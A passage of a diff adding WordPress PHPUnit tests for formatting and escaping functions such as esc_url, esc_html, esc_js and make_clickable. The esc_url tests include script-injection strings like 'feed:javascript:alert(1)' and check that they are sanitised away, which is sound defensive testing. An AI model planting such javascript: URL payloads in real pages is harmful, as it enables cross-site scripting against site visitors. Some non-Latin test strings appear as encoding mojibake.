unset($GLOBALS['test_foo'][1]); + } + + test_globals_foo(); + + $this->assertEquals($test_foo, array(0=>'foo', 2=>'baz')); + $this->assertEquals($test_foo, $GLOBALS['test_foo']); + } + + function test_globals_bar() { + global $test_bar; + $test_bar = array('a', 'b', 'c'); + $this->assertEquals($test_bar, $GLOBALS['test_bar']); + } + + // test some helper utility functions + + function test_strip_ws() { + $this->assertEquals('', strip_ws('')); + $this->assertEquals('foo', strip_ws('foo')); + $this->assertEquals('', strip_ws("\r\n\t \n\r\t")); + + $in = "asdf\n"; + $in .= "asdf asdf\n"; + $in .= "asdf asdf\n"; + $in .= "\tasdf\n"; + $in .= "\tasdf\t\n"; + $in .= "\t\tasdf\n"; + $in .= "foo bar\n\r\n"; + $in .= "foo\n"; + + $expected = "asdf\n"; + $expected .= "asdf asdf\n"; + $expected .= "asdf asdf\n"; + $expected .= "asdf\n"; + $expected .= "asdf\n"; + $expected .= "asdf\n"; + $expected .= "foo bar\n"; + $expected .= "foo"; + + $this->assertEquals($expected, strip_ws($in)); + + } + + function test_mask_input_value() { + $in = <<Assign Authors +

To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as admins entries.

+

If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)

+
  1. Current author: Alex Shiels
    Create user
    or map to existing
  2. Current author: Alex Shiels
    Create user
    or map to existing" elements + * + * @ticket 16456 + */ + public function test_skip_input_elements() { + $str = 'Username:
    Password: '; + $this->assertEquals( "

    $str

    ", trim( wpautop( $str ) ) ); + } +} diff --git a/tests/tests/formatting/CleanPre.php b/tests/tests/formatting/CleanPre.php new file mode 100644 index 0000000000..fb5eea90df --- /dev/null +++ b/tests/tests/formatting/CleanPre.php @@ -0,0 +1,38 @@ +` elements as part of wpautop(). + * + * @group formatting + */ +class Tests_Formatting_CleanPre extends WP_UnitTestCase { + function test_removes_self_closing_br_with_space() { + $source = 'a b c\n
    sldfj
    '; + $res = 'a b c\nsldfj'; + + $this->assertEquals($res, clean_pre($source)); + } + + function test_removes_self_closing_br_without_space() { + $source = 'a b c\n
    sldfj
    '; + $res = 'a b c\nsldfj'; + $this->assertEquals($res, clean_pre($source)); + } + + // I don't think this can ever happen in production; + //
    is changed to
    elsewhere. Left in because + // that replacement shouldn't happen (what if you want + // HTML 4 output?). + function test_removes_html_br() { + $source = 'a b c\n
    sldfj
    '; + $res = 'a b c\nsldfj'; + $this->assertEquals($res, clean_pre($source)); + } + + function test_removes_p() { + $source = "

    isn't this exciting!

    oh indeed!

    "; + $res = "\nisn't this exciting!\noh indeed!"; + $this->assertEquals($res, clean_pre($source)); + } +} diff --git a/tests/tests/formatting/ConvertChars.php b/tests/tests/formatting/ConvertChars.php new file mode 100644 index 0000000000..a134572026 --- /dev/null +++ b/tests/tests/formatting/ConvertChars.php @@ -0,0 +1,40 @@ +assertEquals($output, convert_chars($input)); + } + + /** + * @ticket 20503 + */ + function test_replaces_latin_letter_z_with_caron() { + $input = "Žž"; + $output = "Žž"; + $this->assertEquals( $output, convert_chars( $input ) ); + } + + function test_converts_html_br_and_hr_to_the_xhtml_self_closing_variety() { + $inputs = array( + "abc
    lol
    " => "abc
    lol
    ", + "
    ho ho
    " => "
    ho ho
    ", + "

    " => "

    " + ); + foreach ($inputs as $input => $expected) { + $this->assertEquals($expected, convert_chars($input)); + } + } + + function test_escapes_lone_ampersands() { + $this->assertEquals("at&t", convert_chars("at&t")); + } + + function test_removes_category_and_title_metadata_tags() { + $this->assertEquals("", convert_chars("<div class='lol'>abc</div>a")); + } +} diff --git a/tests/tests/formatting/EscAttr.php b/tests/tests/formatting/EscAttr.php new file mode 100644 index 0000000000..35ea2f54a5 --- /dev/null +++ b/tests/tests/formatting/EscAttr.php @@ -0,0 +1,32 @@ +assertEquals( '"double quotes"', esc_attr( $attr ) ); + + $attr = "'single quotes'"; + $this->assertEquals( ''single quotes'', esc_attr( $attr ) ); + + $attr = "'mixed' " . '"quotes"'; + $this->assertEquals( ''mixed' "quotes"', esc_attr( $attr ) ); + + // Handles double encoding? + $attr = '"double quotes"'; + $this->assertEquals( '"double quotes"', esc_attr( esc_attr( $attr ) ) ); + + $attr = "'single quotes'"; + $this->assertEquals( ''single quotes'', esc_attr( esc_attr( $attr ) ) ); + + $attr = "'mixed' " . '"quotes"'; + $this->assertEquals( ''mixed' "quotes"', esc_attr( esc_attr( $attr ) ) ); + } + + function test_esc_attr_amp() { + $out = esc_attr( 'foo & bar &baz; '' ); + $this->assertEquals( "foo & bar &baz; '", $out ); + } +} diff --git a/tests/tests/formatting/EscHtml.php b/tests/tests/formatting/EscHtml.php new file mode 100644 index 0000000000..101692622e --- /dev/null +++ b/tests/tests/formatting/EscHtml.php @@ -0,0 +1,40 @@ +assertEquals( $html, esc_html( $html ) ); + + // URL with & + $html = "http://localhost/trunk/wp-login.php?action=logout&_wpnonce=cd57d75985"; + $escaped = "http://localhost/trunk/wp-login.php?action=logout&_wpnonce=cd57d75985"; + $this->assertEquals( $escaped, esc_html( $html ) ); + + // SQL query + $html = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN ('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled') AND site_id = 1"; + $escaped = "SELECT meta_key, meta_value FROM wp_trunk_sitemeta WHERE meta_key IN ('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled') AND site_id = 1"; + $this->assertEquals( $escaped, esc_html( $html ) ); + } + + function test_escapes_ampersands() { + $source = "penn & teller & at&t"; + $res = "penn & teller & at&t"; + $this->assertEquals( $res, esc_html($source) ); + } + + function test_escapes_greater_and_less_than() { + $source = "this > that < that "; + $res = "this > that < that <randomhtml />"; + $this->assertEquals( $res, esc_html($source) ); + } + + function test_ignores_existing_entities() { + $source = '& £ " &'; + $res = '& £ " &'; + $this->assertEquals( $res, esc_html($source) ); + } +} diff --git a/tests/tests/formatting/EscTextarea.php b/tests/tests/formatting/EscTextarea.php new file mode 100644 index 0000000000..dde90db098 --- /dev/null +++ b/tests/tests/formatting/EscTextarea.php @@ -0,0 +1,36 @@ +assertEquals( $iso8859_1, esc_textarea( $iso8859_1 ) ); + remove_filter( 'pre_option_blog_charset', array( $this, '_charset_iso_8859_1' ) ); + } + + function _charset_utf_8() { + return 'UTF-8'; + } + + /* + * @ticket 23688 + */ + function test_esc_textarea_charset_utf_8() { + add_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) ); + $utf8 = 'Fran' .chr(195) . chr(167) .'ais'; + $this->assertEquals( $utf8, esc_textarea( $utf8 ) ); + remove_filter( 'pre_option_blog_charset', array( $this, '_charset_utf_8' ) ); + } +} diff --git a/tests/tests/formatting/EscUrl.php b/tests/tests/formatting/EscUrl.php new file mode 100644 index 0000000000..478d385fc7 --- /dev/null +++ b/tests/tests/formatting/EscUrl.php @@ -0,0 +1,83 @@ +assertEquals('http://example.com/MrWordPress', esc_url('http://example.com/Mr WordPress')); + $this->assertEquals('http://example.com/Mr%20WordPress', esc_url('http://example.com/Mr%20WordPress')); + } + + function test_bad_characters() { + $this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0Ago')); + $this->assertEquals('http://example.com/watchthelinefeedgo', esc_url('http://example.com/watchthelinefeed%0ago')); + $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0Dgo')); + $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0dgo')); + //Nesting Checks + $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0ddgo')); + $this->assertEquals('http://example.com/watchthecarriagereturngo', esc_url('http://example.com/watchthecarriagereturn%0%0DDgo')); + $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAD')); + $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADA')); + $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0DAd')); + $this->assertEquals('http://example.com/', esc_url('http://example.com/%0%0%0ADa')); + } + + function test_relative() { + $this->assertEquals('/example.php', esc_url('/example.php')); + $this->assertEquals('example.php', esc_url('example.php')); + $this->assertEquals('#fragment', esc_url('#fragment')); + $this->assertEquals('?foo=bar', esc_url('?foo=bar')); + } + + function test_protocol() { + $this->assertEquals('http://example.com', esc_url('http://example.com')); + $this->assertEquals('', esc_url('nasty://example.com/')); + } + + /** + * @ticket 23187 + */ + function test_protocol_case() { + $this->assertEquals('http://example.com', esc_url('HTTP://example.com')); + $this->assertEquals('http://example.com', esc_url('Http://example.com')); + } + + function test_display_extras() { + $this->assertEquals('http://example.com/'quoted'', esc_url('http://example.com/\'quoted\'')); + $this->assertEquals('http://example.com/\'quoted\'', esc_url('http://example.com/\'quoted\'',null,'notdisplay')); + } + + function test_non_ascii() { + $this->assertEquals( 'http://example.org/баба', esc_url( 'http://example.org/баба' ) ); + $this->assertEquals( 'http://баба.org/баба', esc_url( 'http://баба.org/баба' ) ); + $this->assertEquals( 'http://müller.com/', esc_url( 'http://müller.com/' ) ); + } + + function test_feed() { + $this->assertEquals( '', esc_url( 'feed:javascript:alert(1)' ) ); + $this->assertEquals( '', esc_url( 'feed:javascript:feed:alert(1)' ) ); + $this->assertEquals( '', esc_url( 'feed:feed:javascript:alert(1)' ) ); + $this->assertEquals( 'feed:feed:alert(1)', esc_url( 'feed:feed:alert(1)' ) ); + $this->assertEquals( 'feed:http://wordpress.org/feed/', esc_url( 'feed:http://wordpress.org/feed/' ) ); + } + + /** + * @ticket 16859 + */ + function test_square_brackets() { + $this->assertEquals( 'http://example.com/?foo%5Bbar%5D=baz', esc_url( 'http://example.com/?foo[bar]=baz' ) ); + $this->assertEquals( 'http://example.com/?baz=bar&foo%5Bbar%5D=baz', esc_url( 'http://example.com/?baz=bar&foo[bar]=baz' ) ); + //IPv6 addresses in urls - RFC2732 + $this->assertEquals( 'http://[::FFFF::127.0.0.1]', esc_url( 'http://[::FFFF::127.0.0.1]' ) ); + $this->assertEquals( 'http://[::127.0.0.1]', esc_url( 'http://[::127.0.0.1]' ) ); + $this->assertEquals( 'http://[::DEAD:BEEF:DEAD:BEEF:DEAD:BEEF:DEAD:BEEF]', esc_url( 'http://[::DEAD:BEEF:DEAD:BEEF:DEAD:BEEF:DEAD:BEEF]' ) ); + } + + /** + * @ticket 21974 + */ + function test_protocol_relative_with_colon() { + $this->assertEquals( '//example.com/foo?foo=abc:def', esc_url( '//example.com/foo?foo=abc:def' ) ); + } +} diff --git a/tests/tests/formatting/HtmlExcerpt.php b/tests/tests/formatting/HtmlExcerpt.php new file mode 100644 index 0000000000..d117e7d405 --- /dev/null +++ b/tests/tests/formatting/HtmlExcerpt.php @@ -0,0 +1,19 @@ +assertEquals("Baba", wp_html_excerpt("Baba told me not to come", 4)); + } + function test_html() { + $this->assertEquals("Baba", wp_html_excerpt("Baba told me not to come", 4)); + } + function test_entities() { + $this->assertEquals("Baba", wp_html_excerpt("Baba & Dyado", 8)); + $this->assertEquals("Baba", wp_html_excerpt("Baba & Dyado", 8)); + $this->assertEquals("Baba & D", wp_html_excerpt("Baba & Dyado", 12)); + $this->assertEquals("Baba & Dyado", wp_html_excerpt("Baba & Dyado", 100)); + } +} diff --git a/tests/tests/formatting/IsEmail.php b/tests/tests/formatting/IsEmail.php new file mode 100644 index 0000000000..583875248d --- /dev/null +++ b/tests/tests/formatting/IsEmail.php @@ -0,0 +1,31 @@ +assertEquals( $datum, is_email($datum), $datum ); + } + } + + function test_returns_false_if_given_an_invalid_email_address() { + $data = array( + "khaaaaaaaaaaaaaaan!", + 'http://bob.example.com/', + "sif i'd give u it, spamer!1", + "com.exampleNOSPAMbob", + "bob@your mom" + ); + foreach ($data as $datum) { + $this->assertFalse(is_email($datum), $datum); + } + } +} diff --git a/tests/tests/formatting/JSEscape.php b/tests/tests/formatting/JSEscape.php new file mode 100644 index 0000000000..6ec3892982 --- /dev/null +++ b/tests/tests/formatting/JSEscape.php @@ -0,0 +1,46 @@ +assertEquals('foo bar baz();', $out); + } + + function test_js_escape_quotes() { + $out = esc_js('foo "bar" \'baz\''); + // does it make any sense to change " into "? Why not \"? + $this->assertEquals("foo "bar" \'baz\'", $out); + } + + function test_js_escape_backslash() { + $bs = '\\'; + $out = esc_js('foo '.$bs.'t bar '.$bs.$bs.' baz'); + // \t becomes t - bug? + $this->assertEquals('foo t bar '.$bs.$bs.' baz', $out); + } + + function test_js_escape_amp() { + $out = esc_js('foo & bar &baz; ''); + $this->assertEquals("foo & bar &baz; '", $out); + } + + function test_js_escape_quote_entity() { + $out = esc_js('foo ' bar ' baz &'); + $this->assertEquals("foo \\' bar \\' baz &", $out); + } + + function test_js_no_carriage_return() { + $out = esc_js("foo\rbar\nbaz\r"); + // \r is stripped + $this->assertequals("foobar\\nbaz", $out); + } + + function test_js_escape_rn() { + $out = esc_js("foo\r\nbar\nbaz\r\n"); + // \r is stripped + $this->assertequals("foo\\nbar\\nbaz\\n", $out); + } +} diff --git a/tests/tests/formatting/LikeEscape.php b/tests/tests/formatting/LikeEscape.php new file mode 100644 index 0000000000..7027bc7e40 --- /dev/null +++ b/tests/tests/formatting/LikeEscape.php @@ -0,0 +1,29 @@ + $input) { + $this->assertEquals($expected[$key], like_escape($input)); + } + } +} diff --git a/tests/tests/formatting/MakeClickable.php b/tests/tests/formatting/MakeClickable.php new file mode 100644 index 0000000000..5639ce1b1d --- /dev/null +++ b/tests/tests/formatting/MakeClickable.php @@ -0,0 +1,347 @@ +assertEquals($in, make_clickable($in)); + } + + function test_valid_mailto() { + $valid_emails = array( + 'foo@example.com', + 'foo.bar@example.com', + 'Foo.Bar@a.b.c.d.example.com', + '0@example.com', + 'foo@example-example.com', + ); + foreach ($valid_emails as $email) { + $this->assertEquals(''.$email.'', make_clickable($email)); + } + } + + function test_invalid_mailto() { + $invalid_emails = array( + 'foo', + 'foo@', + 'foo@@example.com', + '@example.com', + 'foo @example.com', + 'foo@example', + ); + foreach ($invalid_emails as $email) { + $this->assertEquals($email, make_clickable($email)); + } + } + + // tests that make_clickable will not link trailing periods, commas and + // (semi-)colons in URLs with protocol (i.e. http://wordpress.org) + function test_strip_trailing_with_protocol() { + $urls_before = array( + 'http://wordpress.org/hello.html', + 'There was a spoon named http://wordpress.org. Alice!', + 'There was a spoon named http://wordpress.org, said Alice.', + 'There was a spoon named http://wordpress.org; said Alice.', + 'There was a spoon named http://wordpress.org: said Alice.', + 'There was a spoon named (http://wordpress.org) said Alice.' + ); + $urls_expected = array( + 'http://wordpress.org/hello.html', + 'There was a spoon named http://wordpress.org. Alice!', + 'There was a spoon named http://wordpress.org, said Alice.', + 'There was a spoon named http://wordpress.org; said Alice.', + 'There was a spoon named http://wordpress.org: said Alice.', + 'There was a spoon named (http://wordpress.org) said Alice.' + ); + + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // tests that make_clickable will not link trailing periods, commas and + // (semi-)colons in URLs with protocol (i.e. http://wordpress.org) + function test_strip_trailing_with_protocol_nothing_afterwards() { + $urls_before = array( + 'http://wordpress.org/hello.html', + 'There was a spoon named http://wordpress.org.', + 'There was a spoon named http://wordpress.org,', + 'There was a spoon named http://wordpress.org;', + 'There was a spoon named http://wordpress.org:', + 'There was a spoon named (http://wordpress.org)', + 'There was a spoon named (http://wordpress.org)x', + ); + $urls_expected = array( + 'http://wordpress.org/hello.html', + 'There was a spoon named http://wordpress.org.', + 'There was a spoon named http://wordpress.org,', + 'There was a spoon named http://wordpress.org;', + 'There was a spoon named http://wordpress.org:', + 'There was a spoon named (http://wordpress.org)', + 'There was a spoon named (http://wordpress.org)x', + ); + + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // tests that make_clickable will not link trailing periods, commas and + // (semi-)colons in URLs without protocol (i.e. www.wordpress.org) + function test_strip_trailing_without_protocol() { + $urls_before = array( + 'www.wordpress.org', + 'There was a spoon named www.wordpress.org. Alice!', + 'There was a spoon named www.wordpress.org, said Alice.', + 'There was a spoon named www.wordpress.org; said Alice.', + 'There was a spoon named www.wordpress.org: said Alice.', + 'There was a spoon named www.wordpress.org) said Alice.' + ); + $urls_expected = array( + 'http://www.wordpress.org', + 'There was a spoon named http://www.wordpress.org. Alice!', + 'There was a spoon named http://www.wordpress.org, said Alice.', + 'There was a spoon named http://www.wordpress.org; said Alice.', + 'There was a spoon named http://www.wordpress.org: said Alice.', + 'There was a spoon named http://www.wordpress.org) said Alice.' + ); + + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // tests that make_clickable will not link trailing periods, commas and + // (semi-)colons in URLs without protocol (i.e. www.wordpress.org) + function test_strip_trailing_without_protocol_nothing_afterwards() { + $urls_before = array( + 'www.wordpress.org', + 'There was a spoon named www.wordpress.org.', + 'There was a spoon named www.wordpress.org,', + 'There was a spoon named www.wordpress.org;', + 'There was a spoon named www.wordpress.org:', + 'There was a spoon named www.wordpress.org)' + ); + $urls_expected = array( + 'http://www.wordpress.org', + 'There was a spoon named http://www.wordpress.org.', + 'There was a spoon named http://www.wordpress.org,', + 'There was a spoon named http://www.wordpress.org;', + 'There was a spoon named http://www.wordpress.org:', + 'There was a spoon named http://www.wordpress.org)' + ); + + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // #4570 + function test_iri() { + $urls_before = array( + 'http://www.詹姆斯.com/', + 'http://bg.wikipedia.org/Баба', + 'http://example.com/?a=баба&b=дÑдо', + ); + $urls_expected = array( + 'http://www.詹姆斯.com/', + 'http://bg.wikipedia.org/Баба', + 'http://example.com/?a=баба&b=дÑдо', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // #10990 + function test_brackets_in_urls() { + $urls_before = array( + 'http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)', + '(http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software))', + 'blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah', + 'blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah', + 'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah blah', + 'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah', + 'blah blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah', + 'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).) blah blah', + 'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).)moreurl blah blah', + 'In his famous speech “You and Your research†(here: + http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) + Richard Hamming wrote about people getting more done with their doors closed, but', + ); + $urls_expected = array( + 'http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)', + '(http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software))', + 'blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah', + 'blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah', + 'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah blah', + 'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah', + 'blah blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah', + 'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).) blah blah', + 'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).)moreurl blah blah', + 'In his famous speech “You and Your research†(here: + http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) + Richard Hamming wrote about people getting more done with their doors closed, but', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // Based on a real comments which were incorrectly linked. #11211 + function test_real_world_examples() { + $urls_before = array( + 'Example: WordPress, test (some text), I love example.com (http://example.org), it is brilliant', + 'Example: WordPress, test (some text), I love example.com (http://example.com), it is brilliant', + 'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...', + 'In his famous speech “You and Your research†(here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...', + ); + $urls_expected = array( + 'Example: WordPress, test (some text), I love example.com (http://example.org), it is brilliant', + 'Example: WordPress, test (some text), I love example.com (http://example.com), it is brilliant', + 'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...', + 'In his famous speech “You and Your research†(here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + // #14993 + function test_twitter_hash_bang() { + $urls_before = array( + 'http://twitter.com/#!/wordpress/status/25907440233', + 'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233 !', + 'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233!', + ); + $urls_expected = array( + 'http://twitter.com/#!/wordpress/status/25907440233', + 'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233 !', + 'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233!', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + function test_wrapped_in_angles() { + $before = array( + 'URL wrapped in angle brackets ', + 'URL wrapped in angle brackets with padding < http://example.com/ >', + 'mailto wrapped in angle brackets ', + ); + $expected = array( + 'URL wrapped in angle brackets <http://example.com/>', + 'URL wrapped in angle brackets with padding < http://example.com/ >', + 'mailto wrapped in angle brackets ', + ); + foreach ($before as $key => $url) { + $this->assertEquals($expected[$key], make_clickable($url)); + } + } + + function test_preceded_by_punctuation() { + $before = array( + 'Comma then URL,http://example.com/', + 'Period then URL.http://example.com/', + 'Semi-colon then URL;http://example.com/', + 'Colon then URL:http://example.com/', + 'Exclamation mark then URL!http://example.com/', + 'Question mark then URL?http://example.com/', + ); + $expected = array( + 'Comma then URL,http://example.com/', + 'Period then URL.http://example.com/', + 'Semi-colon then URL;http://example.com/', + 'Colon then URL:http://example.com/', + 'Exclamation mark then URL!http://example.com/', + 'Question mark then URL?http://example.com/', + ); + foreach ($before as $key => $url) { + $this->assertEquals($expected[$key], make_clickable($url)); + } + } + + function test_dont_break_attributes() { + $urls_before = array( + ":)", + "(:))", + "http://trunk.domain/testing#something (:))", + "http://trunk.domain/testing#something + (:))", + " ", + 'Look at this image!', + ); + $urls_expected = array( + ":)", + "(:))", + "http://trunk.domain/testing#something (:))", + "http://trunk.domain/testing#something + (:))", + " ", + 'Look at this image!', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals($urls_expected[$key], make_clickable($url)); + } + } + + /** + * @ticket 16892 + */ + function test_click_inside_html() { + $urls_before = array( + 'http://example.com', + '

    http://example.com/

    ', + ); + $urls_expected = array( + 'http://example.com', + '

    http://example.com/

    ', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals( $urls_expected[$key], make_clickable( $url ) ); + } + } + + function test_no_links_within_links() { + $in = array( + 'Some text with a link http://example.com', + //'This is already a link www.wordpress.org', // fails in 3.3.1 too + ); + foreach ( $in as $text ) { + $this->assertEquals( $text, make_clickable( $text ) ); + } + } + + /** + * ticket 16892 + */ + function test_no_segfault() { + if ( version_compare( $GLOBALS['wp_version'], '3.1.1', '<' ) ) + $this->markTestSkipped(); + + $in = str_repeat( 'http://example.com/2011/03/18/post-title/', 256 ); + $out = make_clickable( $in ); + if ( version_compare( $GLOBALS['wp_version'], '3.4-alpha', '>=' ) ) + $this->assertEquals( $in, $out ); + } + + /** + * @ticket 16859 + */ + function test_square_brackets() { + $urls_before = array( + 'http://example.com/?foo[bar]=baz', + 'http://example.com/?baz=bar&foo[bar]=baz', + ); + $urls_expected = array( + 'http://example.com/?foo%5Bbar%5D=baz', + 'http://example.com/?baz=bar&foo%5Bbar%5D=baz', + ); + foreach ($urls_before as $key => $url) { + $this->assertEquals( $urls_expected[$key], make_clickable( $url ) ); + } + } +} diff --git a/tests/tests/formatting/MapDeep.php b/tests/tests/formatting/MapDeep.php new file mode 100644 index 0000000000..8e000e4cc6 --- /dev/null +++ b/tests/tests/formatting/MapDeep.php @@ -0,0 +1,55 @@ +assertEquals( array(), map_deep( array( $this, 'return_baba' ), array() ) ); + } + + function test_map_deep_should_map_each_element_of_array_one_level_deep() { + $this->assertEquals( array( 'ababa', 'xbaba' ), map_deep( array( $this, 'append_baba' ), array( 'a', 'x' ) ) ); + } + + function test_map_deep_should_map_each_element_of_array_two_levels_deep() { + $this->assertEquals( array( 'ababa', array( 'xbaba' ) ), map_deep( array( $this, 'append_baba' ), array( 'a', array( 'x' ) ) ) ); + } + + function test_map_deep_should_map_each_object_element_of_an_array() { + $this->assertEquals( array( 'var0' => 'ababa', 'var1' => (object)array( 'xbaba' ) ), + map_deep( array( $this, 'append_baba' ), array( 'var0' => 'a', 'var1' => (object)array( 'x' ) ) ) ); + } + + function test_map_deep_should_apply_the_function_to_a_string() { + $this->assertEquals( 'xbaba', map_deep( array( $this, 'append_baba' ), 'x' ) ); + } + + function test_map_deep_should_apply_the_function_to_an_integer() { + $this->assertEquals( '5baba' , map_deep( array( $this, 'append_baba' ), 5 ) ); + } + + function test_map_deep_should_map_each_property_of_an_object() { + $this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => 'xbaba' ), + map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => 'x' ) ) ); + } + + function test_map_deep_should_map_each_array_property_of_an_object() { + $this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => array( 'xbaba' ) ), + map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => array( 'x' ) ) ) ); + } + + function test_map_deep_should_map_each_object_property_of_an_object() { + $this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => (object)array( 'xbaba' ) ), + map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => (object)array( 'x' ) ) ) ); + } + + function return_baba( $value ) { + return 'baba'; + } + + function append_baba( $value ) { + return $value . 'baba'; + } +} + diff --git a/tests/tests/formatting/RemoveAccents.php b/tests/tests/formatting/RemoveAccents.php new file mode 100644 index 0000000000..ca8c503ab4 --- /dev/null +++ b/tests/tests/formatting/RemoveAccents.php @@ -0,0 +1,97 @@ +assertEquals( 'abcdefghijkl', remove_accents( 'abcdefghijkl' ) ); + } + + /** + * @ticket 9591 + */ + public function test_remove_accents_latin1_supplement() { + $input = 'ªºÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖØÙÚÛÜÃÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ'; + $output = 'aoAAAAAAAECEEEEIIIIDNOOOOOOUUUUYTHsaaaaaaaeceeeeiiiidnoooooouuuuythy'; + + $this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin-1 Supplement' ); + } + + public function test_remove_accents_latin_extended_a() { + $input = 'Ä€ÄĂ㥹ĆćĈĉĊċČÄÄŽÄÄđĒēĔĕĖėĘęĚěĜÄĞğĠġĢģĤĥĦħĨĩĪīĬĭĮįİıIJijĴĵĶķĸĹĺĻļĽľĿŀÅłŃńŅņŇňʼnŊŋŌÅÅŽÅÅőŒœŔŕŖŗŘřŚśŜÅŞşŠšŢţŤťŦŧŨũŪūŬŭŮůŰűŲųŴŵŶŷŸŹźŻżŽžſ'; + $output = 'AaAaAaCcCcCcCcDdDdEeEeEeEeEeGgGgGgGgHhHhIiIiIiIiIiIJijJjKkkLlLlLlLlLlNnNnNnNnNOoOoOoOEoeRrRrRrSsSsSsSsTtTtTtUuUuUuUuUuUuWwYyYZzZzZzs'; + + $this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin Extended A' ); + } + + public function test_remove_accents_latin_extended_b() { + $this->assertEquals( 'SsTt', remove_accents( 'ȘșȚț' ), 'remove_accents replaces Latin Extended B' ); + } + + public function test_remove_accents_euro_pound_signs() { + $this->assertEquals( 'E', remove_accents( '€' ), 'remove_accents replaces euro sign' ); + $this->assertEquals( '', remove_accents( '£' ), 'remove_accents replaces pound sign' ); + } + + public function test_remove_accents_iso8859() { + // File is Latin1 encoded + $file = DIR_TESTDATA . '/formatting/remove_accents.01.input.txt'; + $input = file_get_contents( $file ); + $input = trim( $input ); + $output = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyyOEoeAEDHTHssaedhth"; + + $this->assertEquals( $output, remove_accents( $input ), 'remove_accents from ISO-8859-1 text' ); + } + + /** + * @ticket 17738 + */ + public function test_remove_accents_vowels_diacritic() { + // Vowels with diacritic + // unmarked + $this->assertEquals( 'OoUu', remove_accents( 'ƠơƯư' ) ); + // grave accent + $this->assertEquals( 'AaAaEeOoOoUuYy', remove_accents( 'ẦầẰằỀá»á»’ồỜá»á»ªá»«á»²á»³' ) ); + // hook + $this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẢảẨẩẲẳẺẻỂểỈỉỎá»á»”ổỞởỦủỬửỶỷ' ) ); + // tilde + $this->assertEquals( 'AaAaEeEeOoOoUuYy', remove_accents( 'ẪẫẴẵẼẽỄễỖỗỠỡỮữỸỹ' ) ); + // acute accent + $this->assertEquals( 